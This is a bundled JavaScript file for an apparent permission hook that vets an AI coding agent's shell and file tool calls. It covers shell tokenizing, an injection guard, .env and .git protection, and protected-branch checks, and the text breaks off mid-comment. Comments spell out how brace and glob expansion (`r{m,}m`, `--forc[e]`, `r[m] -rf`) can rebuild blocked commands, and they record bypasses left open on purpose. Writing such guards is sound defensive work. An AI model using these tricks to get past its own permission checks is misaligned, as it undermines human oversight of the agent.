inst.exclude = (values, params) => {\n const newEntries = { ...def.entries };\n for (const value of values) if (keys.has(value)) delete newEntries[value];\n else throw new Error(`Key ${value} not found in enum`);\n return new ZodEnum({\n ...def,\n checks: [],\n ...normalizeParams(params),\n entries: newEntries\n });\n };\n});\nfunction _enum(values, params) {\n const entries = Array.isArray(values) ? Object.fromEntries(values.map((v) => [v, v])) : values;\n return new ZodEnum({\n type: \"enum\",\n entries,\n ...normalizeParams(params)\n });\n}\nconst ZodTransform = /*@__PURE__*/ $constructor(\"ZodTransform\", (inst, def) => {\n $ZodTransform.init(inst, def);\n ZodType.init(inst, def);\n inst._zod.processJSONSchema = (ctx, json, params) => transformProcessor(inst, ctx, json, params);\n inst._zod.parse = (payload, _ctx) => {\n if (_ctx.direction === \"backward\") throw new $ZodEncodeError(inst.constructor.name);\n payload.addIssue = (issue$1) => {\n if (typeof issue$1 === \"string\") payload.issues.push(issue(issue$1, payload.value, def));\n else {\n const _issue = issue$1;\n if (_issue.fatal) _issue.continue = false;\n _issue.code ?? (_issue.code = \"custom\");\n _issue.input ?? (_issue.input = payload.value);\n _issue.inst ?? (_issue.inst = inst);\n payload.issues.push(issue(_issue));\n }\n };\n const output = def.transform(payload.value, payload);\n if (output instanceof Promise) return output.then((output) => {\n payload.value = output;\n payload.fallback = true;\n return payload;\n });\n payload.value = output;\n payload.fallback = true;\n return payload;\n };\n});\nfunction transform(fn) {\n return new ZodTransform({\n type: \"transform\",\n transform: fn\n });\n}\nconst ZodOptional = /*@__PURE__*/ $constructor(\"ZodOptional\", (inst, def) => {\n $ZodOptional.init(inst, def);\n ZodType.init(inst, def);\n inst._zod.processJSONSchema = (ctx, json, params) => optionalProcessor(inst, ctx, json, params);\n inst.unwrap = () => inst._zod.def.innerType;\n});\nfunction optional(innerType) {\n return new ZodOptional({\n type: \"optional\",\n innerType\n });\n}\nconst ZodExactOptional = /*@__PURE__*/ $constructor(\"ZodExactOptional\", (inst, def) => {\n $ZodExactOptional.init(inst, def);\n ZodType.init(inst, def);\n inst._zod.processJSONSchema = (ctx, json, params) => optionalProcessor(inst, ctx, json, params);\n inst.unwrap = () => inst._zod.def.innerType;\n});\nfunction exactOptional(innerType) {\n return new ZodExactOptional({\n type: \"optional\",\n innerType\n });\n}\nconst ZodNullable = /*@__PURE__*/ $constructor(\"ZodNullable\", (inst, def) => {\n $ZodNullable.init(inst, def);\n ZodType.init(inst, def);\n inst._zod.processJSONSchema = (ctx, json, params) => nullableProcessor(inst, ctx, json, params);\n inst.unwrap = () => inst._zod.def.innerType;\n});\nfunction nullable(innerType) {\n return new ZodNullable({\n type: \"nullable\",\n innerType\n });\n}\nconst ZodDefault = /*@__PURE__*/ $constructor(\"ZodDefault\", (inst, def) => {\n $ZodDefault.init(inst, def);\n ZodType.init(inst, def);\n inst._zod.processJSONSchema = (ctx, json, params) => defaultProcessor(inst, ctx, json, params);\n inst.unwrap = () => inst._zod.def.innerType;\n inst.removeDefault = inst.unwrap;\n});\nfunction _default(innerType, defaultValue) {\n return new ZodDefault({\n type: \"default\",\n innerType,\n get defaultValue() {\n return typeof defaultValue === \"function\" ? defaultValue() : shallowClone(defaultValue);\n }\n });\n}\nconst ZodPrefault = /*@__PURE__*/ $constructor(\"ZodPrefault\", (inst, def) => {\n $ZodPrefault.init(inst, def);\n ZodType.init(inst, def);\n inst._zod.processJSONSchema = (ctx, json, params) => prefaultProcessor(inst, ctx, json, params);\n inst.unwrap = () => inst._zod.def.innerType;\n});\nfunction prefault(innerType, defaultValue) {\n return new ZodPrefault({\n type: \"prefault\",\n innerType,\n get defaultValue() {\n return typeof defaultValue === \"function\" ? defaultValue() : shallowClone(defaultValue);\n }\n });\n}\nconst ZodNonOptional = /*@__PURE__*/ $constructor(\"ZodNonOptional\", (inst, def) => {\n $ZodNonOptional.init(inst, def);\n ZodType.init(inst, def);\n inst._zod.processJSONSchema = (ctx, json, params) => nonoptionalProcessor(inst, ctx, json, params);\n inst.unwrap = () => inst._zod.def.innerType;\n});\nfunction nonoptional(innerType, params) {\n return new ZodNonOptional({\n type: \"nonoptional\",\n innerType,\n ...normalizeParams(params)\n });\n}\nconst ZodCatch = /*@__PURE__*/ $constructor(\"ZodCatch\", (inst, def) => {\n $ZodCatch.init(inst, def);\n ZodType.init(inst, def);\n inst._zod.processJSONSchema = (ctx, json, params) => catchProcessor(inst, ctx, json, params);\n inst.unwrap = () => inst._zod.def.innerType;\n inst.removeCatch = inst.unwrap;\n});\nfunction _catch(innerType, catchValue) {\n return new ZodCatch({\n type: \"catch\",\n innerType,\n catchValue: typeof catchValue === \"function\" ? catchValue : () => catchValue\n });\n}\nconst ZodPipe = /*@__PURE__*/ $constructor(\"ZodPipe\", (inst, def) => {\n $ZodPipe.init(inst, def);\n ZodType.init(inst, def);\n inst._zod.processJSONSchema = (ctx, json, params) => pipeProcessor(inst, ctx, json, params);\n inst.in = def.in;\n inst.out = def.out;\n});\nfunction pipe(in_, out) {\n return new ZodPipe({\n type: \"pipe\",\n in: in_,\n out\n });\n}\nconst ZodReadonly = /*@__PURE__*/ $constructor(\"ZodReadonly\", (inst, def) => {\n $ZodReadonly.init(inst, def);\n ZodType.init(inst, def);\n inst._zod.processJSONSchema = (ctx, json, params) => readonlyProcessor(inst, ctx, json, params);\n inst.unwrap = () => inst._zod.def.innerType;\n});\nfunction readonly(innerType) {\n return new ZodReadonly({\n type: \"readonly\",\n innerType\n });\n}\nconst ZodCustom = /*@__PURE__*/ $constructor(\"ZodCustom\", (inst, def) => {\n $ZodCustom.init(inst, def);\n ZodType.init(inst, def);\n inst._zod.processJSONSchema = (ctx, json, params) => customProcessor(inst, ctx, json, params);\n});\nfunction refine(fn, _params = {}) {\n return _refine(ZodCustom, fn, _params);\n}\nfunction superRefine(fn, params) {\n return _superRefine(fn, params);\n}\n\n//#endregion\n//#region src/lib/hook-io.ts\nconst HookInputSchema = object({\n session_id: string(),\n transcript_path: string(),\n cwd: string(),\n permission_mode: string(),\n hook_event_name: string(),\n tool_name: string(),\n tool_input: record(string(), unknown())\n});\n/**\n* Read and parse the full stdin as JSON.\n* Returns a result with the validated HookInput, or the raw data and error on failure.\n*/\nasync function readHookInput() {\n const chunks = [];\n for await (const chunk of process.stdin) chunks.push(typeof chunk === \"string\" ? chunk : String(chunk));\n let parsed;\n try {\n parsed = JSON.parse(chunks.join(\"\"));\n } catch (_error) {\n return {\n ok: false,\n raw: chunks.join(\"\").slice(0, 200),\n error: \"invalid JSON\"\n };\n }\n const result = HookInputSchema.safeParse(parsed);\n if (!result.success) return {\n ok: false,\n raw: parsed,\n error: result.error.message\n };\n return {\n ok: true,\n data: result.data\n };\n}\nconst BashInputSchema = object({\n command: string(),\n description: optional(string())\n});\nconst FilePathInputSchema = object({ file_path: string() });\nconst SearchInputSchema = object({\n pattern: string(),\n path: optional(string())\n});\n/** Parse tool_input as Bash input. Returns null if invalid. */\nfunction parseBashInput(toolInput) {\n const result = BashInputSchema.safeParse(toolInput);\n return result.success ? result.data : null;\n}\n/** Parse tool_input as file-path input (Read, Write, Edit). Returns null if invalid. */\nfunction parseFilePathInput(toolInput) {\n const result = FilePathInputSchema.safeParse(toolInput);\n return result.success ? result.data : null;\n}\n/** Parse tool_input as search input (Glob, Grep). Returns null if invalid. */\nfunction parseSearchInput(toolInput) {\n const result = SearchInputSchema.safeParse(toolInput);\n return result.success ? result.data : null;\n}\nfunction writeDecision(action, detail) {\n const decision = { hookSpecificOutput: {\n hookEventName: \"PreToolUse\",\n permissionDecision: action,\n ...action === \"deny\" && detail ? { permissionDecisionReason: detail } : {},\n ...action === \"allow\" && detail ? { additionalContext: detail } : {}\n } };\n process.stdout.write(JSON.stringify(decision));\n}\n\n//#endregion\n//#region src/lib/audit.ts\nconst MAX_LOG_SIZE = 1048576;\n/**\n* Resolve the audit log path relative to the hook's own location.\n* Co-located at `.claude/hooks/bst-hook.audit.local.jsonl`.\n*/\nfunction getLogPath() {\n const hookDir = path.dirname(fileURLToPath(import.meta.url));\n return path.join(hookDir, \"bst-hook.audit.local.jsonl\");\n}\n/**\n* Rotate the log file if it exceeds MAX_LOG_SIZE.\n* Renames current log to `.1` and starts fresh.\n* Safe against concurrent rotation -- ENOENT on rename is expected and ignored.\n*/\nfunction rotateIfNeeded(logPath) {\n try {\n if (fs.statSync(logPath).size > MAX_LOG_SIZE) {\n const rotatedPath = `${logPath}.1`;\n fs.renameSync(logPath, rotatedPath);\n }\n } catch (_error) {}\n}\n/** Whether rotation has been checked this session */\nlet rotationChecked = false;\n/**\n* Append an audit entry to the JSONL log.\n* Never throws -- audit failures log to stderr and continue.\n*/\nfunction audit(entry) {\n try {\n const logPath = getLogPath();\n if (!rotationChecked) {\n rotateIfNeeded(logPath);\n rotationChecked = true;\n }\n const record = {\n timestamp: (/* @__PURE__ */ new Date()).toISOString(),\n ...entry\n };\n fs.appendFileSync(logPath, JSON.stringify(record) + \"\\n\");\n } catch (err) {\n process.stderr.write(`[bst-hook] audit write failed: ${err instanceof Error ? err.message : String(err)}\\n`);\n }\n}\n\n//#endregion\n//#region src/lib/shell-tokenizer.ts\n/**\n* Scan a double-quoted string starting at `start` (the char after the opening\n* quote). Returns the unescaped content and the index just past the closing\n* quote, or `null` if the quote is never closed.\n*/\nfunction scanDoubleQuoted(input, start) {\n let content = \"\";\n let i = start;\n while (i < input.length && input[i] !== \"\\\"\") {\n if (input[i] === \"\\\\\" && i + 1 < input.length) {\n const next = input[i + 1];\n if (next === \"\\\"\" || next === \"\\\\\" || next === \"$\" || next === \"`\") {\n content += next;\n i += 2;\n continue;\n }\n }\n content += input[i];\n i++;\n }\n if (i >= input.length) return null;\n return {\n content,\n next: i + 1\n };\n}\nfunction tokenize(input) {\n const tokens = [];\n let current = \"\";\n let i = 0;\n let inToken = false;\n while (i < input.length) {\n const ch = input[i];\n if (ch === \"'\") {\n inToken = true;\n i++;\n while (i < input.length && input[i] !== \"'\") {\n current += input[i];\n i++;\n }\n if (i >= input.length) return {\n ok: false,\n error: \"unterminated single quote\"\n };\n i++;\n } else if (ch === \"\\\"\") {\n inToken = true;\n const scanned = scanDoubleQuoted(input, i + 1);\n if (!scanned) return {\n ok: false,\n error: \"unterminated double quote\"\n };\n current += scanned.content;\n i = scanned.next;\n } else if (ch === \"\\\\\" && i + 1 < input.length) {\n inToken = true;\n current += input[i + 1];\n i += 2;\n } else if (ch === \" \" || ch === \" \") {\n if (inToken) {\n tokens.push(current);\n current = \"\";\n inToken = false;\n }\n i++;\n } else {\n inToken = true;\n current += ch;\n i++;\n }\n }\n if (inToken) tokens.push(current);\n return {\n ok: true,\n tokens\n };\n}\n/**\n* Characters safe to leave unquoted when re-emitting a token. Anything outside\n* this set could be interpreted by the shell-splitter or tokenizer on a\n* subsequent pass (operators, whitespace, quotes, globs, vars, etc.).\n*/\nconst SAFE_UNQUOTED_RE = /^[A-Za-z0-9_\\-./=:@%+,]+$/;\n/** Single-quote-wrap a token unless it only contains safe characters. */\nfunction quoteToken(token) {\n if (token.length > 0 && SAFE_UNQUOTED_RE.test(token)) return token;\n return \"'\" + token.replace(/'/g, \"'\\\\''\") + \"'\";\n}\n/**\n* Inverse of `tokenize`: join tokens into a command string that survives\n* round-tripping through `splitCommand` and `tokenize`.\n*\n* Naive `tokens.join(\" \")` is lossy: any token that was originally quoted\n* loses its quote wrapper and may be mis-parsed when split/tokenized again\n* (e.g. `--testPathPattern=a|b` would split on the embedded `|`).\n*/\nfunction joinTokens(tokens) {\n return tokens.map(quoteToken).join(\" \");\n}\n\n//#endregion\n//#region src/lib/shell-splitter.ts\n/**\n* Split a raw command string into segments on unquoted &&, ||, ;, and | operators.\n* Quote-aware: operators inside single or double quotes are not split points.\n*\n* Returns segments with the operator that follows each one (null for the last segment).\n*/\nfunction splitCommand(input) {\n if (!input || !input.trim()) return [];\n const segments = [];\n let current = \"\";\n let i = 0;\n let inSingleQuote = false;\n let inDoubleQuote = false;\n while (i < input.length) {\n const ch = input[i];\n if (ch === \"'\" && !inDoubleQuote) {\n inSingleQuote = !inSingleQuote;\n current += ch;\n i++;\n continue;\n }\n if (ch === \"\\\"\" && !inSingleQuote) {\n inDoubleQuote = !inDoubleQuote;\n current += ch;\n i++;\n continue;\n }\n if (ch === \"\\\\\" && !inSingleQuote && i + 1 < input.length) {\n current += ch + input[i + 1];\n i += 2;\n continue;\n }\n if (!inSingleQuote && !inDoubleQuote) {\n if (ch === \"&\" && i + 1 < input.length && input[i + 1] === \"&\") {\n pushSegment(segments, current, \"&&\");\n current = \"\";\n i += 2;\n continue;\n }\n if (ch === \"&\" && !(i + 1 < input.length && input[i + 1] === \">\") && !(i > 0 && (input[i - 1] === \">\" || input[i - 1] === \"<\"))) {\n pushSegment(segments, current, \"&\");\n current = \"\";\n i++;\n continue;\n }\n if (ch === \"|\" && i + 1 < input.length && input[i + 1] === \"|\") {\n pushSegment(segments, current, \"||\");\n current = \"\";\n i += 2;\n continue;\n }\n if (ch === \"|\") {\n pushSegment(segments, current, \"|\");\n current = \"\";\n i++;\n continue;\n }\n if (ch === \";\") {\n pushSegment(segments, current, \";\");\n current = \"\";\n i++;\n continue;\n }\n }\n current += ch;\n i++;\n }\n const trimmed = current.trim();\n if (trimmed) segments.push({\n command: trimmed,\n operator: null\n });\n return segments;\n}\nfunction pushSegment(segments, text, operator) {\n const trimmed = text.trim();\n if (trimmed) segments.push({\n command: trimmed,\n operator\n });\n}\n\n//#endregion\n//#region src/lib/injection-guard.ts\n/** Safe redirect patterns that don't constitute file writes */\nconst SAFE_REDIRECTS = /* @__PURE__ */ new Set([\n \"2>&1\",\n \"2>/dev/null\",\n \">/dev/null\",\n \"1>/dev/null\"\n]);\n/**\n* Bash brace expansion: a `{...}` group containing a comma (list form,\n* `{a,b}`/`{a,}`/`{,a}`) or `..` (range form, `{1..3}`/`{a..z}`) is expanded\n* into multiple words *before* the command runs -- so `--for{c,}e` reaches the\n* program as argv `--force --fore` and `r{m,}m` as `rmm rm`. Braces without a\n* comma or `..` (`a{b}`, `HEAD@{1}`, `{}`) are left literal by bash and must\n* not be flagged.\n*\n* Bash brace expansion is *recursive*: a comma/range list expands even when a\n* branch of it contains its own nested `{...}`, so `--for{c,{}}e` still yields\n* `--force`. A regex cannot express \"a `,` or `..` at balanced brace depth\"\n* (the earlier `/\\{[^{}]*(?:,|\\.\\.)[^{}]*\\}/` required the separator to be\n* flanked by brace-free text out to the enclosing braces, which nested braces\n* defeat while bash still expands). So this is a depth-aware scan: increment on\n* `{`, decrement on `}` (never below 0), and flag the token if a `,` or `..`\n* appears while depth >= 1 -- i.e. anywhere inside any brace group, no matter\n* how deeply nested. Fail-closed: unbalanced braces are flagged too.\n*\n* As with `$`-expansion, the tokenizer has already stripped single quotes by\n* the time `checkInjection` runs, so a genuinely-quoted `'{a,b}'` or\n* `'{\"a\":1,\"b\":2}'` is indistinguishable from an unquoted brace-expansion here\n* and is flagged too -- an accepted fail-closed false positive (passthrough\n* only prompts a human).\n*/\nfunction hasBraceExpansion(token) {\n let depth = 0;\n for (let i = 0; i < token.length; i++) {\n const ch = token[i];\n if (ch === \"{\") depth++;\n else if (ch === \"}\") {\n if (depth > 0) depth--;\n } else if (depth >= 1 && (ch === \",\" || ch === \".\" && token[i + 1] === \".\")) return true;\n }\n return false;\n}\n/**\n* An output-redirect token is safe only when it targets `/dev/null` -- either as\n* a combined token (`>/dev/null`) or a bare operator whose next token is `/dev/null`.\n*/\nfunction isSafeOutputRedirect(token, next) {\n if (token.endsWith(\">/dev/null\")) return true;\n return token.match(/^(&>>|&>|>>|>|1>|2>)$/) !== null && next === \"/dev/null\";\n}\n/**\n* Detect dangerous patterns in tokenized command segments.\n*\n* Checks for:\n* - Command substitution (`$(...)`, backticks)\n* - Any other unresolved `$`-expansion (`${...}`, `$'...'`, `$\"...\"`, `$VAR`, `$1`, ...)\n* - Brace expansion (`{a,b}` list form, `{1..3}` range form)\n* - Process substitution (`<(...)`, `>(...)`)\n* - File redirects (`>`, `>>`, `<` to non-/dev/null targets) -- skipped when `skipRedirects` is true\n* - Newlines in raw segment (injection via line splitting)\n*\n* The tokenizer (`shell-tokenizer.ts`) resolves single-quoted and\n* backslash-escaped content into plain characters before this function ever\n* sees it -- so a token's surviving `$` is indistinguishable between \"bash\n* will expand this\" (`$(...)`, `${...}`, `$'...'`, `$\"...\"`, `$VAR`, `$1`,\n* `$@`, `$?`, ...) and \"this `$` was always a literal character\" (e.g. from\n* `'cost $5'` or `\\$5`). Rather than trying to reconstruct quote context\n* after the fact, any token still containing a `$` is treated as unsafe.\n* This is deliberately fail-closed: it routes the segment to passthrough\n* (a human is prompted) rather than risking an unresolved expansion silently\n* auto-approving or auto-denying based on the wrong argv.\n*\n* ## Expansions this guard knowingly does NOT model\n*\n* Two weaker members of the same \"unmodeled expansion\" family are left open. Both were\n* surfaced by the adversarial review of the issue-attachments hardening and verified\n* empirically against real bash plus this evaluator. **Decision (2026-07-13): accept as\n* documented limitations.** They are recorded here, not as a todo, because the next\n* person to touch this function is the person who needs to know.\n*\n* **Glob reconstruction.** `bst issue:download 273 --forc[e]` (also `--forc?`, `--for*`,\n* `--*`) expands to a real `--force` argv and this returns `safe` -- but *only when a file\n* literally named `--force` already exists in the working directory*. Creating that file\n* is itself hook-gated (`> --force` is caught as a redirect; `touch -- --force` falls to\n* passthrough), so it is a two-step, precondition-gated exploit -- strictly weaker than the\n* unconditional `$`/brace bypasses that were fixed. The same class defeats deny rules\n* (`r[m] -rf`), again only with a pre-existing matching file.\n*\n* *Why not fixed:* closing it means routing any token containing an unquoted glob\n* metacharacter (`*`, `?`, `[`) to passthrough -- which prompts on `ls *.md`, `find . -name\n* '*.ts'`, and nearly every globbing command an agent legitimately runs. Unlike `$` and\n* brace expansion (rare in real commands), globs are everywhere, so the prompt-fatigue\n* cost is real and daily, and a guard people learn to click through protects nobody.\n* Revisit only if a cheaper predicate emerges -- the candidate is to flag a glob metachar\n* **only in a token that also begins with `-`** (a flag position, which is where the\n* reconstruction attack lives), leaving bare-argument globs like `*.md` allowed. That\n* would live right here, beside {@link hasBraceExpansion}.\n*\n* **Tilde expansion.** `~` is unmodeled. Bash only expands it to a home *path* at word\n* start, so it cannot reconstruct a flag or a command name -- it is a path-scope concern,\n* not the flag/command-reconstruction vector this guard defends against. Lowest priority;\n* noted for completeness.\n*\n* If either is ever closed, pin it with regression fixtures the way the nested-brace cases\n* were pinned in `tests/fixtures.ts`.\n*\n* @param skipRedirects When true, skip redirect analysis (used for trusted resolved scripts)\n*/\nfunction checkInjection(tokens, rawSegment, skipRedirects = false) {\n if (/[\\n\\r]/.test(rawSegment)) return {\n safe: false,\n reason: \"unquoted newline in command\"\n };\n for (const token of tokens) {\n if (token === \"`\") return {\n safe: false,\n reason: \"backtick command substitution\"\n };\n if (token.includes(\"`\")) return {\n safe: false,\n reason: \"backtick command substitution\"\n };\n if (token.includes(\"$\")) return {\n safe: false,\n reason: \"unresolved dollar-expansion\"\n };\n if (hasBraceExpansion(token)) return {\n safe: false,\n reason: \"brace expansion\"\n };\n if (token.includes(\"<(\")) return {\n safe: false,\n reason: \"process substitution\"\n };\n if (token.includes(\">(\") && !SAFE_REDIRECTS.has(token)) return {\n safe: false,\n reason: \"process substitution\"\n };\n }\n if (!skipRedirects) for (let i = 0; i < tokens.length; i++) {\n const token = tokens[i];\n if (SAFE_REDIRECTS.has(token)) continue;\n if (token.includes(\"<\") && !token.includes(\"<(\")) return {\n safe: false,\n reason: \"input redirect\"\n };\n if (token.includes(\">\")) {\n if (isSafeOutputRedirect(token, tokens[i + 1])) continue;\n return {\n safe: false,\n reason: \"output redirect to file\"\n };\n }\n }\n return { safe: true };\n}\n\n//#endregion\n//#region src/lib/env-file.ts\n/**\n* File extensions considered safe documentation templates.\n* Files ending with these suffixes are NOT treated as secret .env files.\n*/\nconst ENV_SAFE_SUFFIXES = [\n \".sample\",\n \".example\",\n \".template\"\n];\n/**\n* Env files owned by a bst command rather than by the developer's secrets.\n*\n* `docker-compose.check.env` is the file `bst docker:check` auto-detects and\n* passes to compose as `--env-file`. It is committed, and it holds placeholder\n* values for a throwaway check stack -- yet it is also the *only* way to feed\n* compose interpolation, so denying it left an agent unable to create or read\n* the one file the check needs. Two bst features blocking each other is worse\n* than the marginal secret risk of a file whose purpose is to hold non-secrets.\n*/\nconst ENV_TOOL_OWNED_SUFFIXES = [\".check.env\"];\n/**\n* Pattern matching .env files: `.env`, `.env.local`, `.env.production`, etc.\n* Does NOT match `.env.sample`, `.env.example`, `.env.template`.\n*/\nconst ENV_FILE_PATTERN = /(^|[/\\\\])(\\.env(\\..*)?|.*\\.env(\\..*)?|\\.env)$/;\n/** Check if a filename is a safe .env documentation template, or a bst-owned env file. */\nfunction isEnvSafeSuffix(filename) {\n return [...ENV_SAFE_SUFFIXES, ...ENV_TOOL_OWNED_SUFFIXES].some((suffix) => filename.endsWith(suffix));\n}\n/**\n* Check if a path targets a .env file (excluding safe templates).\n* Works with both bare filenames and full paths.\n*/\nfunction isEnvFile(filePath) {\n if (isEnvSafeSuffix(path.basename(filePath))) return false;\n return ENV_FILE_PATTERN.test(filePath);\n}\n/**\n* Check if any non-flag token in a Bash command targets a .env file.\n* Used by Bash deny rules for cat, head, tail, grep, etc.\n*/\nfunction tokensTargetEnvFile(tokens) {\n return tokens.slice(1).some((t) => !t.startsWith(\"-\") && isEnvFile(t));\n}\n\n//#endregion\n//#region src/lib/git-state.ts\n/**\n* Return the current branch name, or null when:\n* - cwd is not a git repository,\n* - HEAD is detached,\n* - any git invocation fails.\n*\n* Null is the safe protected default -- callers treat it as \"protected\".\n*/\nfunction getCurrentBranch(cwd) {\n try {\n const out = execFileSync(\"git\", [\n \"rev-parse\",\n \"--abbrev-ref\",\n \"HEAD\"\n ], {\n cwd,\n stdio: [\n \"ignore\",\n \"pipe\",\n \"ignore\"\n ]\n }).toString().trim();\n if (!out || out === \"HEAD\") return null;\n return out;\n } catch {\n return null;\n }\n}\n/**\n* Return the remote default branch (from refs/remotes/origin/HEAD), stripped\n* of the \"origin/\" prefix. Returns null when the symbolic ref isn't set\n* (common for fresh clones with no remote).\n*/\nfunction getRemoteDefaultBranch(cwd) {\n try {\n const out = execFileSync(\"git\", [\n \"symbolic-ref\",\n \"--short\",\n \"refs/remotes/origin/HEAD\"\n ], {\n cwd,\n stdio: [\n \"ignore\",\n \"pipe\",\n \"ignore\"\n ]\n }).toString().trim();\n if (!out) return null;\n return out.startsWith(\"origin/\") ? out.slice(7) : out;\n } catch {\n return null;\n }\n}\nconst ALWAYS_PROTECTED = [\"main\", \"master\"];\n/**\n* Compute the full protected set: hard-coded {main, master}, plus the remote\n* default branch when available, plus any caller-supplied extras (e.g. from\n* .claude/hooks/bst-hook.settings.json#protectedBranches).\n*\n* Known limitation: if a repo's real default branch is neither \"main\" nor\n* \"master\" AND refs/remotes/origin/HEAD is unset (getRemoteDefaultBranch()\n* returns null -- e.g. a shallow or partial clone that never fetched the\n* symbolic ref), that default branch is absent from this set. A push whose\n* refspec destination is that branch would then pass the protected-branch\n* check in isGitSafePush. This is not treated as a reason to block pushes\n* whenever origin/HEAD is unset, since that would break the far more common\n* case (default branch already covered by {main, master} or by\n* protectedBranches); repos with a non-standard default branch name should\n* set it explicitly via .claude/hooks/bst-hook.settings.json#protectedBranches.\n*/\nfunction getProtectedBranches(cwd, extra) {\n const set = new Set(ALWAYS_PROTECTED);\n const remote = getRemoteDefaultBranch(cwd);\n if (remote) set.add(remote);\n for (const b of extra) set.add(b);\n return set;\n}\n/**\n* Configured remote names (`git remote`). Empty when cwd is not a repo or git\n* fails -- the safe default, since callers require membership to auto-approve.\n*/\nfunction getRemotes(cwd) {\n try {\n const out = execFileSync(\"git\", [\"remote\"], {\n cwd,\n stdio: [\n \"ignore\",\n \"pipe\",\n \"ignore\"\n ]\n }).toString().trim();\n if (!out) return /* @__PURE__ */ new Set();\n return new Set(out.split(\"\\n\").map((line) => line.trim()).filter(Boolean));\n } catch {\n return /* @__PURE__ */ new Set();\n }\n}\n/**\n* True when `cwd` is the repository's *primary* worktree (not a linked one\n* created by `git worktree add`). In the primary worktree the git dir and the\n* common git dir are the same directory; in a linked worktree the git dir is\n* `.../.git/worktrees/<name>` while the common dir is the shared `.../.git`.\n*\n* Fail-safe: any git/filesystem error returns `false` (treated as \"not primary\",\n* i.e. no advisory) so a hiccup never disturbs the decision. Mirrors the\n* \"safe default\" convention of getCurrentBranch.\n*/\nfunction isPrimaryWorktree(cwd) {\n try {\n const gitDir = execFileSync(\"git\", [\"rev-parse\", \"--absolute-git-dir\"], {\n cwd,\n stdio: [\n \"ignore\",\n \"pipe\",\n \"ignore\"\n ]\n }).toString().trim();\n const commonRaw = execFileSync(\"git\", [\"rev-parse\", \"--git-common-dir\"], {\n cwd,\n stdio: [\n \"ignore\",\n \"pipe\",\n \"ignore\"\n ]\n }).toString().trim();\n if (!gitDir || !commonRaw) return false;\n const commonDir = resolve(cwd, commonRaw);\n return realpathSync(gitDir) === realpathSync(commonDir);\n } catch {\n return false;\n }\n}\n\n//#endregion\n//#region src/lib/git-short-options.ts\n/** Per-subcommand required-value short option letters. Deliberately excludes\n* `-t` (`--track`): see the note below the value-taking sets.\n*/\nconst VALUE_TAKING_LETTERS = {\n switch: /* @__PURE__ */ new Set([\"c\", \"C\"]),\n checkout: /* @__PURE__ */ new Set([\"b\", \"B\"])\n};\n/**\n* Decompose a short-option cluster token for `sub`. Returns `undefined` for\n* anything that is not a short-option cluster: a token that does not start\n* with `-`, the bare `-`, and anything starting with `--`. Every caller keeps\n* handling those tokens exactly as it does today.\n*\n* Otherwise walks the characters after the leading `-` left to right,\n* collecting each into `letters`, and stops at the first character that is a\n* required-value option letter for `sub` -- that letter is the last one\n* collected, and the remainder of the token (possibly empty) becomes\n* `attachedValue`, never inspected as flags again.\n*\n* Worked cases:\n* - `-fc` (switch or checkout) -> letters `[\"f\", \"c\"]`, no attached value --\n* `f` never stops the scan, so `c`/`C` is just collected as another letter\n* unless the subcommand's own value-taking set includes it earlier.\n* - `-cf` (switch) -> letters `[\"c\"]`, attached value `\"f\"`.\n* - `-cfeat/x` (switch) -> letters `[\"c\"]`, attached value `\"feat/x\"`.\n* - `-c` (switch) -> letters `[\"c\"]`, attached value `\"\"` (git reads the\n* branch name from the next argv element).\n*/\nfunction splitShortOptionCluster(token, sub) {\n if (!token.startsWith(\"-\") || token.startsWith(\"--\") || token.length <= 1) return;\n const valueLetters = VALUE_TAKING_LETTERS[sub];\n const letters = [];\n const chars = token.slice(1);\n for (let i = 0; i < chars.length; i++) {\n const ch = chars[i];\n letters.push(ch);\n if (valueLetters.has(ch)) return {\n letters,\n attachedValue: chars.slice(i + 1)\n };\n }\n return { letters };\n}\n\n//#endregion\n//#region src/lib/path-scope.ts\n/**\n* Path-containment helpers that are correct across operating systems.\n*\n* The hook receives a `cwd` from its host. On Windows the same location can be\n* spelled with either drive-letter case (`D:\\proj` vs `d:\\proj`) -- the IDE is\n* inconsistent -- and NTFS treats them as identical. Plain `===` / `startsWith`\n* comparisons on the resolved path therefore misfire whenever the drive-letter\n* case differs, falling through to passthrough (reads) or a false\n* \"outside the project\" deny (writes).\n*\n* The fix: pick the path flavor (win32 vs posix) from the *trusted* base path --\n* `cwd` -- and run every resolve/compare through that flavor. win32's\n* `relative()` is case-insensitive and separator-aware, so drive-letter case no\n* longer matters; posix stays case-sensitive, as that filesystem demands.\n* Deriving the flavor from the base (not the incoming target) means a crafted\n* target can't flip the comparison mode.\n*/\n/** Select the path flavor implied by a base path (a leading drive letter => win32). */\nfunction pathFlavorFor(base) {\n return /^[a-zA-Z]:[\\\\/]/.test(base) ? path.win32 : path.posix;\n}\n/** Resolve `target` against `base` using the flavor implied by `base`. */\nfunction resolveIn(base, target) {\n return pathFlavorFor(base).resolve(base, target);\n}\n/**\n* Whether `target` is `dir` itself or nested beneath it, compared with `dir`'s\n* flavor. `target` is expected to be already resolved (absolute); pass it through\n* `resolveIn` first when it may be relative or contain `..`.\n*/\nfunction isWithin(dir, target) {\n const pp = pathFlavorFor(dir);\n const rel = pp.relative(dir, target);\n if (rel === \"\") return true;\n if (rel === \"..\" || rel.startsWith(\"..\" + pp.sep)) return false;\n return !pp.isAbsolute(rel);\n}\n/** Whether two paths refer to the same location, compared with `a`'s flavor. */\nfunction samePath(a, b) {\n return pathFlavorFor(a).relative(a, b) === \"\";\n}\n/**\n* Whether `filePath` (resolved against `cwd`) is a `.git` directory\n* anywhere under `cwd` -- top-level or nested inside a subdirectory repo --\n* or anything beneath one. Covers both the directory in a normal clone and\n* the gitdir-pointer *file* git writes at the root of a worktree checkout\n* (both cases have a path segment exactly equal to `.git`).\n*\n* A nested repo's git dir (`<cwd>/sub/.git/config`) is just as sensitive as\n* the top-level one: an unguarded write there can add a malicious remote or\n* rewrite push config that a later `cd sub && git push` trusts. So this\n* checks every path segment of `filePath` resolved against `cwd`, not just\n* `<cwd>/.git` -- matching `.git` at *any* depth, as long as the resolved\n* path stays within `cwd` (paths outside `cwd` are handled by the\n* outside-cwd-write rule instead).\n*\n* Matches on a resolved path *segment* exactly equal to `.git`, not a\n* substring, so it does not mistake `.gitignore`, `.gitkeep`, `.github/`,\n* `src/foo.git.ts`, or a directory merely named `mygit`/`git` for a `.git/`\n* target.\n*/\nfunction targetsGitDir(filePath, cwd) {\n const pp = pathFlavorFor(cwd);\n const resolved = resolveIn(cwd, filePath);\n if (!isWithin(cwd, resolved)) return false;\n const rel = pp.relative(cwd, resolved);\n if (rel === \"\") return false;\n return rel.split(pp.sep).includes(\".git\");\n}\n/**\n* Whether `filePath` (resolved against `cwd`) has a path segment exactly equal\n* to 